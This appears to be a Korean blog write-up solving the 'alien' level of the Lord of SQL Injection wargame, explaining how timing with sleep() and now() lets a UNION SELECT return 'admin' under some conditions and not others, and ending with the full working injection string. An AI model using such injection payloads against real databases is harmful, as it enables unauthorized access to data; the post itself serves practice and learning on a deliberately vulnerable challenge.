본문 바로가기
3. 웹 애플리케이션 취약점 진단/Lord of Sql Injection

lord of sql injection 32번 - alien

by Robert8478 2023. 12. 22.

이번에도 문제가 특이하고 어렵다.. 몇몇 필터링은 우회한다 쳐도 밑에 4개 구문이 이상하다.
첫번째 조건은 id가 admin이 아니면 exit되기에 admin이어야 하는 것이고
두번째는 id가 admin이면 안되고
세번째는 query2 구문에서 admin이면 안되고
네변째는 query2 구문에서 admin이어야 한다.

우선 no에 1값을 넣어보았다. 그대로 sandbox1로 넘어가는 것을 볼 수 있다.

단순하게 admin을 찾는 구문을 넣어보아도 이상한 조건들때문에 넘어가지지 않는다.
그냥 구문만 넣었을때 이 조건을 만족하는건 불가능하다. 그래서 구글링으로 찾아보았는데
now()와 sleep()을 이용해서 시간에 따른 쿼리를 조정한다면 가능해진다.

우선 union select를 이용해 두개의 쿼리를 이용해야한다. query2에서 조건을 만족해야하니 union select로 4개의 조건을 만족해주어야하는데 시간차를 이용해 두번째와 세번째 조건에서 admin이 아닌 bdmin과 같이 다른 쿼리명을 갖도록 조정하여 넘어가도록 하였다.
concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))) lower(hex(10))값이 'a'인것을 이용하여 쿼리를 넣어주었다.
%2=1 부분을 admin이어야 할 경우 1로, 그렇지 않은경우 0으로 넘겨주었다.

그렇게 입력된 쿼리는

?no=0%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=0))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=0))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)

이렇게 해서 클리어하였다.